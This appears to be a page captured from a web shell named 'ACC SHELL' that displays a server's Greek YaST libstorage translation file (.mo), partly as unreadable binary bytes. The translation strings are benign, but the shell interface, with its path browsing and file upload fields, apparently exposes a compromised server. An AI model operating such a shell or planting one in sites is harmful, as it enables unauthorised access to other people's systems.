ACC SHELL

Path : /usr/share/locale/el/LC_MESSAGES/
File Upload :
Current File : //usr/share/locale/el/LC_MESSAGES/libstorage.mo

<\(&))P"zM>">a%*1C#
!g
4
!
4
&&<
c,q$'$%!Jl! ",Da}%""">%U {%%,#:91t6DH">k9>=#>a64*+7/c%&4*+@3l*6;/>+n//		4 >"_+
-Mfy"'"8$["&+&(;d%x""% ?%`;<	 ) +C o   D!jG!J"J"HH#1#2# #$q$q#%L%Q%d4&x&:'PM':'W'?1(Qq( (j(3O):)9)E)T>*=*1*=+6A+>x+O+6,*>,6i,/,,>,@/-6p-9-7-.@9.6z.9.7.E#/;i/^/R0hW00@1P1l+2q2q
3t|3p3Pb4F4D4K?5A5?5P
6F^6D6P6D;7S7o7DD8A8K8E9]9`9|999#9,99797':_:-|:P:+:';-B;p;P;+;!
<-,<IZ<5<J<?%=Pe=O=G>IN>5>?>P?P_?G??>@@W@6@;@A9+A6eA;AAA|DG&JNJNK2TKKK3M(2QNU\
ou?3%S[	&1rC/cE#~{wJRgevdX60Wns
Py,9iZ.OGm;}tTx)fK>MAhY7a "D-BIbk:8F|H]$*pz=+'l@!q^`L<V4_j5Add entry for mount point %1$s to %2$sAdding entry for mount point %1$s to %2$sChange mount point of %1$s to %2$sClear label on %1$sClearing label on %1$sCreate %1$sCreate encrypted file-based device %1$s of file %2$s (%3$s) as %5$s with %4$sCreate encrypted logical volume %1$s (%2$s) for %4$s with %3$sCreate encrypted raid partition %1$s (%2$s) for %4$s with %3$sCreate extended partition %1$s (%2$s)Create extended raid partition %1$s (%2$s)Create file-based device %1$s of file %2$s (%3$s)Create file-based device %1$s of file %2$s (%3$s) as %5$s with %4$sCreate logical volume %1$s (%2$s)Create logical volume %1$s (%2$s) for %4$s with %3$sCreate raid partition %1$s (%2$s)Create raid partition %1$s (%2$s) for %4$s with %3$sCreate swap logical volume %1$s (%2$s)Create swap raid partition %1$s (%2$s)Creating %1$sCreating file-based device %1$s of file %2$sCreating logical volume %1$sCreating raid partition %1$sDelete Windows partition %1$s (%2$s)Delete device mapper volume %1$s (%2$s)Delete file-based device %1$s (%2$s)Delete logical volume %1$s (%2$s)Delete partition %1$s (%2$s)Delete raid partition %1$s (%2$s)Delete software RAID %1$s (%2$s)Deleting device mapper volume %1$sDeleting file-based device %1$sDeleting logical volume %1$sDeleting partition %1$sDeleting raid partition %1$sDeleting software RAID %1$sExtend %1$s to %2$sExtend Windows partition %1$s to %2$sExtend logical volume %1$s to %2$sExtend partition %1$s to %2$sExtend raid partition %1$s to %2$sExtend volume group %1$s with %2$sExtending %1$s to %2$sExtending logical volume %1$s to %2$sExtending partition %1$s to %2$sExtending raid partition %1$s to %2$sExtending volume group %1$s with %2$sFormat device %1$s (%2$s) for %4$s with %3$sFormat device %1$s (%2$s) with %3$sFormat device mapper volume %1$s (%2$s) for %4$s with %3$sFormat device mapper volume %1$s (%2$s) with %3$sFormat encrypted device %1$s (%2$s) for %4$s with %3$sFormat encrypted device mapper volume %1$s (%2$s) for %4$s with %3$sFormat encrypted file-based device %1$s of %2$s (%3$s) as %5$s with %4$sFormat encrypted logical volume %1$s (%2$s) for %4$s with %3$sFormat encrypted partition %1$s (%2$s) for %4$s with %3$sFormat encrypted raid partition %1$s (%2$s) for %4$s with %3$sFormat encrypted software RAID %1$s (%2$s) for %4$s with %3$sFormat file-based device %1$s of %2$s (%3$s) as %5$s with %4$sFormat file-based device %1$s of %2$s (%3$s) with %4$sFormat logical volume %1$s (%2$s) for %4$s with %3$sFormat logical volume %1$s (%2$s) for swapFormat logical volume %1$s (%2$s) with %3$sFormat partition %1$s (%2$s) for %4$s with %3$sFormat partition %1$s (%2$s) for swapFormat partition %1$s (%2$s) with %3$sFormat raid partition %1$s (%2$s) for %4$s with %3$sFormat raid partition %1$s (%2$s) for swapFormat raid partition %1$s (%2$s) with %3$sFormat software RAID %1$s (%2$s) for %4$s with %3$sFormat software RAID %1$s (%2$s) with %3$sFormatting device mapper volume %1$s (%2$s) with %3$s Formatting file-based device %1$s of %2$s (%3$s) with %4$s Formatting logical volume %1$s (%2$s) with %3$sFormatting partition %1$s (%2$s) with %3$s Formatting raid partition %1$s (%2$s) with %3$sFormatting software RAID %1$s (%2$s) with %3$s GBHard DiskKiBMBMiBMount PointMounting %1$s to %2$sPartitionReduce volume group %1$s by %2$sReducing volume group %1$s by %2$sRemove %1$sRemove %1$s from %2$sRemove entry for mount point %1$s from %2$sRemove nfs volume %1$sRemove raid %1$sRemove volume group %1$sRemoving %1$sRemoving entry for mount point %1$s from %2$sRemoving nfs volume %1$sRemoving raid %1$sRemoving volume group %1$sSet disk label of %1$s to %2$sSet label on %1$s to %2$sSet mount point of %1$s to %2$sSet type of partition %1$s to %2$XSet type of raid partition %1$s to %2$XSet up encrypted dm device on %1$sSet up encrypted loop device on %1$sSetting disk label of %1$s to %2$sSetting label on %1$s to %2$sSetting type of partition %1$s to %2$XSetting type of raid partition %1$s to %2$XSetting up encrypted dm device on %1$sSetting up encrypted loop device on %1$sShrink %1$s to %2$sShrink Windows partition %1$s to %2$sShrink logical volume %1$s to %2$sShrink partition %1$s to %2$sShrink raid partition %1$s to %2$sShrinking %1$s to %2$sShrinking logical volume %1$s to %2$sShrinking partition %1$s to %2$sShrinking raid partition %1$s to %2$sTBThe partition table type on disk %1$s cannot be handled by
this tool.

You can use the partitions on disk %1$s as they are.
You can format them and assign mount points to them, but you
cannot add, edit, resize, or remove partitions from that
disk with this tool.The partitioning on disk %1$s is not readable by
the partitioning tool fdasd, which is used to change the
partition table.

You can use the partitions on disk %1$s as they are.
You can format them and assign mount points to them, but you
cannot add, edit, resize, or remove partitions from that
disk with this tool.The partitioning on disk %1$s is not readable by
the partitioning tool parted, which is used to change the
partition table.

You can use the partitions on disk %1$s as they are.
You can format them and assign mount points to them, but you
cannot add, edit, resize, or remove partitions from that
disk with this tool.Unmounting %1$sUpdate entry for mount point %1$s in %2$sUpdating entry for mount point %1$s in %2$sUse %1$s as %2$sVolume GroupYour disk %1$s contains %2$lu partitions. The maximum number
of partitions that the kernel driver of the disk can handle is %3$lu.
Partitions numbered above %3$lu cannot be accessed.kBProject-Id-Version: YaST (@memory@)
Report-Msgid-Bugs-To: 
POT-Creation-Date: 2010-06-10 18:02+0200
PO-Revision-Date: 2001-07-17 16:12+0200
Last-Translator: Bill Giannakopoulos <BillG@hellug.gr>
Language-Team: Greek <i18n@suse.de>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=n != 1;
Ορισμός σημείου προσάρτησης του %1$s σε %2$sΟρισμός σημείου προσάρτησης του %1$s σε %2$sΑλλαγή σημείου προσάρτησης του %1$s σε %2$sΚαθαρισμός ετικέτας στο %1$sΚαθαρισμός ετικέτας στο %1$s Δημιουργία του %1$sΔημιουργία κρυπτογραφημένου συσκευής βασισμένη στα αρχεία %1$s του %2$s (%3$s) ως %5$s με %4$sΔημιουργία κρυπτογραφημένου λογικού τόμου %1$s (%2$s) για %4$s με %3$sΔημιουργία κρυπτογραφημένης κατάτμησης raid %1$s (%2$s) για %4$s με %3$sΔημιουργία εκτεταμένης κατάτμησης %1$s (%2$s)Δημιουργία εκτεταμένης κατάτμησης raid %1$s (%2$s)Δημιουργία συσκευής βασισμένη στα αρχεία %1$s του %2$s (%3$s)Δημιουργία συσκευής βασισμένη στα αρχεία %1$s του %2$s (%3$s) ως %5$s με %4$sΔημιουργία Λογικού Τόμου %1$s (%2$s)Δημιουργία λογικού τόμου %1$s (%2$s) για %4$s με %3$sΔημιουργία κατάτμησης raid %1$s (%2$s)Δημιουργία της κατάτμησης raid %1$s (%2$s) για %4$s με %3$sΔημιουργία swap Λογικού Τόμου %1$s (%2$s)Δημιουργία της κατάτμησης swap τύπου raid %1$s (%2$s)Δημιουργία του %1$sΔημιουργία συσκευής βασισμένη στα αρχεία %1$s στο αρχείο %2$sΔημιουργία Λογικού Τόμου %1$sΔημιουργία της κατάτμησης raid %1$sΔιαγραφή κατάτμησης Windows %1$s (%2$s)Διαγραφή συσκευής απεικόνισης: %1$s (%2$s)Διαγραφή συσκευής βασισμένη στα αρχεία %1$s (%2$s)Αφαίρεση του λογικού τόμου %1$s (%2$s)Διαγραφή κατάτμησης %1$s (%2$s)Διαγραφή της κατάτμησης raid %1$s (%2$s)Διαγραφή Λογισμικού RAID %1$s (%2$s)Διαγραφή συσκευής απεικόνισης: %1$sΔιαγραφή συσκευής βασισμένης στα αρχεία %1$sΑφαίρεση του λογικού τόμου %1$sΔιαγραφή κατάτμησης %1$sΔιαγραφή της κατάτμησης raid %1$sΔιαγραφή Λογισμικού RAID %1$sΕπέκταση %1$s σε %2$sΕπέκταση κατάτμησης Windows %1$s στο %2$sΕπέκταση του λογικού τόμου %1$s σε %2$sΕπέκταση κατάτμησης %1$s στο %2$sΕπέκταση κατάτμησης raid %1$s σε %2$sΕπέκταση Ομάδας Τόμου %1$s με %2$sΕπέκταση %1$s σε %2$sΕπέκταση του λογικού τόμου %1$s σε %2$sΕπέκταση κατάτμησης %1$s στο %2$sΕπέκταση κατάτμησης raid %1$s σε %2$sΕπέκταση Ομάδας Τόμου %1$s με %2$sΔιαμόρφωση συσκευής %1$s (%2$s) γι %4$s με %3$sΔιαμόρφωση συσκευής %1$s (%2$s) με %3$sΔιαμόρφωση συσκευής απεικόνισης %1$s (%2$s) για %4$s με %3$sΔιαμόρφωση συσκευής απεικόνισης %1$s (%2$s) με %3$sΔιαμόρφωση κρυπτογραφημένης συσκευής %1$s (%2$s) για %4$s με %3$sΔιαμόρφωση κρυπτογραφημένης συσκευής απεικόνισης %1$s (%2$s) για %4$s με %3$sΔιαμόρφωση κρυπτογραφημένου συσκευής βασισμένη στα αρχεία %1$s του %2$s (%3$s) ως %5$s με %4$sΔιαμόρφωση λογικού τόμου %1$s (%2$s) για %4$s με %3$sΔιαμόρφωση κρυπτογραφημένης κατάτμησης %1$s (%2$s) για %4$s με %3$sΔιαμόρφωση κρυπτογραφημένης κατάτμησης raid %1$s (%2$s) για %4$s με %3$sΔιαμόρφωση κρυπτογραφημένου λογισμικού RAID %1$s (%2$s) για %4$s με %3$sΔιαγραφή συσκευής βασισμένη στα αρχεία %1$s του %2$s (%3$s) ως %5$s με %4$sΔιαμόρφωση συσκευής βασισμένη στα αρχεία σ%1$s του %2$s (%3$s) με %4$sΔιαμόρφωση λογικού τόμου %1$s (%2$s) για %4$s με %3$sΔιαμόρφωση λογικού τόμου %1$s (%2$s) για swapΔιαμόρφωση λογικού τόμου %1$s (%2$s) με %3$sΔιαμόρφωση κατάτμησης %1$s (%2$s) για %4$s με %3$sΔιαμόρφωση κατάτμησης %1$s (%2$s) σαν swapΔιαμόρφωση κατάτμησης %1$s (%2$s) με %3$sΔιαμόρφωση κατάτμησης raid %1$s (%2$s) για %4$s με %3$sΔιαμόρφωση κατάτμησης raid %1$s (%2$s) για swapΔιαμόρφωση κατάτμησης raid %1$s (%2$s) με %3$sΔιαμόρφωση λογισμικού RAID %1$s (%2$s) για %4$s με %3$sΔιαμόρφωση λογισμικού RAID %1$s (%2$s) με %3$sΔιαμόρφωση συσκευής απεικόνισης %1$s (%2$s) με %3$s Διαμόρφωση συσκευής βασισμένη στα αρχεία %1$s του %2$s (%3$s) με %4$s Διαμόρφωση λογικού τόμου %1$s (%2$s) με %3$sΔιαμόρφωση κατάτμησης %1$s (%2$s) με  %3$s Διαμόρφωση της κατάτμησης raid %1$s (%2$s) με %3$sΔιαμόρφωση λογισμικού RAID %1$s (%2$s) με %3$s GBΣκληρός ΔίσκοςΚiΒΜΒMiBΣημείο προσάρτησηςΠροσάρτηση του %1$s στο %2$sΚατάτμησηΑναγωγή Ομάδας Τόμου %1$s από %2$sΑναγωγή Ομάδας Τόμου %1$s από %2$sΑφαίρεση του %1$sΑφαίρεση του%1$s  από το %2$sΜετακίνηση σημείου προσάρτησης του%1$s  σε %2$sΑφαίρεση του τόμου nfs %1$sΑφαίρεση raid %1$sΑφαίρεση ομάδας τόμου %1$sΑφαίρεση του %1$sΜετακίνηση σημείου προσάρτησης του %1$s σε %2$sΑφαίρεση του τόμου nfs %1$sΑφαίρεση του raid %1$sΑφαίρεση ομάδας τόμου %1$sΟρισμός της ετικέτας του δίσκου %1$s σε %2$sΟρισμός ετικέτας του %1$s σε %2$sΟρισμός σημείου προσάρτησης του %1$s σε %2$sΟρισμός τύπου κατάτμησης %1$s στο %2$XΟρισμός του τύπου της κατάτμησης raid %1$s σε %2$XΟρισμός κρυπτογραφημένης συσκευής dm στο %1$sΟρισμός κρυπτογραφημένης loop device στο %1$sΟρισμός της ετικέτας του δίσκου %1$s σε %2$sΟρισμός ετικέτας του %1$s σε %2$sΟρισμός τύπου κατάτμησης %1$s στο %2$XΟρισμός του τύπου της κατάτμησης raid %1$s σε %2$XΡύθμιση κρυπτογραφημένης  συσκευής dm στο %1$sΟρισμός κρυπτογραφημένης loop device στο %1$sΣύμπτυξη %1$s σε %2$sΣύμπτυξη κατάτμησης Windows %1$s στο %2$sΣύμπτυξη του λογικού τόμου %1$s σε %2$sΣύμπτυξη κατάτμησης %1$s στο %2$sΣμίκρυνση κατάτμησης raid %1$s σε %2$sΣύμπτυξη %1$s σε %2$sΣύμπτυξη λογικού τόμου %1$s σε %2$sΣύμπτυξη κατάτμησης %1$s στο %2$sΣμίκρυνση κατάτμησης raid %1$s σε %2$sTBΟ πίνακας κατατμήσεων στον δίσκο %1$s δεν μπορεί να χειριστεί από
αυτό το εργαλείο.

Μπορείτε να χρησιμοποιήσετε τις κατατμήσεις στο δίσκο %1$s όπως είναι.
Μπορείτε να τις διαμορφώσετε και να αναθέσετε σημεία προσάρτησης σε αυτές, αλλά
δεν μπορείτε να προσθέσετε, επεξεργαστείτε, να μεταβάλετε το μέγεθος,
ή να αφαιρέσετε κατατμήσεις από αυτό το δίσκο με αυτό το εργαλείο.Οι κατατμήσεις στον δίσκο %1$s δεν είναι αναγνώσιμες
από το εργαλείο κατάτμησης fdasd, που χρησιμοποιείται για να αλλάξει
τον πίνακα κατατμήσεων.

Μπορείτε να χρησιμοποιήσετε τις κατατμήσεις στο δίσκο %1$s όπως είναι.
Μπορείτε να τις διαμορφώσετε και να αναθέσετε σημεία προσάρτησης σε αυτές, αλλά
δεν μπορείτε να προσθέσετε, επεξεργαστείτε, να μεταβάλετε το μέγεθος,
ή να αφαιρέσετε κατατμήσεις από αυτό το δίσκο με αυτό το εργαλείο.Οι κατατμήσεις στον δίσκο %1$s δεν είναι αναγνώσιμες
από το εργαλείο κατάτμησης "parted" που χρησιμοποιεί το YaST2 για να αλλάξει
τον πίνακα κατατμήσεων.

Μπορείτε να χρησιμοποιήσετε τις κατατμήσεις στο δίσκο %1$s όπως είναι.
Μπορείτε να τις διαμορφώσετε και να αναθέσετε σημεία προσάρτησης σε αυτές, αλλά
δεν μπορείτε να προσθέσετε, επεξεργαστείτε, να μεταβάλετε το μέγεθος,
ή να αφαιρέσετε κατατμήσεις από αυτό το δίσκο με το YaST2.Αποπροσάρτηση του %1$sΕνημέρωση σημείου προσάρτησης του %1$s σε %2$sΕνημέρωση σημείου προσάρτησης του %1$s σε %2$sΧρησιμοποιήστε το %1$s σαν %2$sΟμάδα ΤόμωνΟ δίσκος σας %1$s περιέχει %2$lu διαμερίσεις. Ο μέγιστος αριθμός
των διαμερίσεων όπου ο οδηγός πυρήνα του δίσκου μπορεί να διαχειριστεί είναι%3$lu.
Οι διαμερίσεις που εμφανίστηκαν παραπάνω από τις %3$lu δεν μπορούν να προσβαστούν.kB

ACC SHELL 2018